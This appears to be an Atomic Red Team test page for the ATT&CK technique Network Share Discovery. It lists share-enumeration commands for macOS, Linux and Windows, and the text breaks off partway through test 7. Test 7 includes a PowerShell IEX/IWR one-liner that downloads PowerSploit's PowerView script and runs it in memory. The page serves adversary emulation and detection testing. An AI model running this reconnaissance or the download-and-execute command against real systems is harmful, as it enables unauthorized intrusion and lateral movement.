# T1135 - Network Share Discovery

## Description from ATT&CK

> Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
> 
> File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.

[Source](https://attack.mitre.org/techniques/T1135)

## Atomic Tests

- [Atomic Test #1: Network Share Discovery](#atomic-test-1-network-share-discovery)
- [Atomic Test #2: Network Share Discovery - linux](#atomic-test-2-network-share-discovery---linux)
- [Atomic Test #3: Network Share Discovery - FreeBSD](#atomic-test-3-network-share-discovery---freebsd)
- [Atomic Test #4: Network Share Discovery command prompt](#atomic-test-4-network-share-discovery-command-prompt)
- [Atomic Test #5: Network Share Discovery PowerShell](#atomic-test-5-network-share-discovery-powershell)
- [Atomic Test #6: View available share drives](#atomic-test-6-view-available-share-drives)
- [Atomic Test #7: Share Discovery with PowerView](#atomic-test-7-share-discovery-with-powerview)
- [Atomic Test #8: PowerView ShareFinder](#atomic-test-8-powerview-sharefinder)
- [Atomic Test #9: WinPwn - shareenumeration](#atomic-test-9-winpwn---shareenumeration)
- [Atomic Test #10: Network Share Discovery via dir command](#atomic-test-10-network-share-discovery-via-dir-command)
- [Atomic Test #11: Enumerate All Network Shares with SharpShares](#atomic-test-11-enumerate-all-network-shares-with-sharpshares)
- [Atomic Test #12: Enumerate All Network Shares with Snaffler](#atomic-test-12-enumerate-all-network-shares-with-snaffler)

### Atomic Test #1: Network Share Discovery

Network Share Discovery

**Supported Platforms:** macOS

**auto_generated_guid:** `f94b5ad9-911c-4eff-9718-fd21899db4f7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Computer name to find a mount on. | string | computer1|

#### Attack Commands: Run with `sh`!

```sh
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
```

### Atomic Test #2: Network Share Discovery - linux

Network Share Discovery using smbstatus

**Supported Platforms:** Linux

**auto_generated_guid:** `875805bc-9e86-4e87-be86-3a5527315cae`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| package_checker | Package checking command. Debian - dpkg -s samba | string | (rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)|
| package_installer | Package installer command. Debian - apt install samba | string | (which yum && yum -y install epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)|

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
smbstatus --shares
```


#### Dependencies: Run with `bash`!

##### Description: Package with smbstatus (samba) must exist on device

###### Check Prereq Commands

```bash
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

###### Get Prereq Commands

```bash
#{package_installer}
```

### Atomic Test #3: Network Share Discovery - FreeBSD

Network Share Discovery using smbstatus

**Supported Platforms:** Linux

**auto_generated_guid:** `77e468a6-3e5c-45a1-9948-c4b5603747cb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| package_checker | Package checking command. pkg info -x samba | string | (pkg info -x samba &>/dev/null)|
| package_installer | Package installer command. pkg install -y samba413 | string | (which pkg && pkg install -y samba413)|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
smbstatus --shares
```


#### Dependencies: Run with `sh`!

##### Description: Package with smbstatus (samba) must exist on device

###### Check Prereq Commands

```sh
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

###### Get Prereq Commands

```sh
#{package_installer}
```

### Atomic Test #4: Network Share Discovery command prompt

Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution available network shares will be displayed in the powershell session

**Supported Platforms:** Windows

**auto_generated_guid:** `20f1097d-81c1-405c-8380-32174d493bbb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Computer name to find a mount on. | string | localhost|

#### Attack Commands: Run with `command_prompt`!

```cmd
net view \\#{computer_name}
```

### Atomic Test #5: Network Share Discovery PowerShell

Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
Upon execution, available network shares will be displayed in the powershell session

**Supported Platforms:** Windows

**auto_generated_guid:** `1b0814d1-bb24-402d-9615-1b20c50733fb`

#### Attack Commands: Run with `powershell`!

```powershell
get-smbshare
```

### Atomic Test #6: View available share drives

View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session

**Supported Platforms:** Windows

**auto_generated_guid:** `ab39a04f-0c93-4540-9ff2-83f862c385ae`

#### Attack Commands: Run with `command_prompt`!

```cmd
net share
```

### Atomic Test #7: Share Discovery with PowerView

Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `b1636f0a-ba82-435c-b699-0d78794d8bfd`

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
```


#### Dependencies: Run with `powershell`!

##### Description: Endpoint must be joined to domain

###### Check Prereq Commands

```powershell
if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
``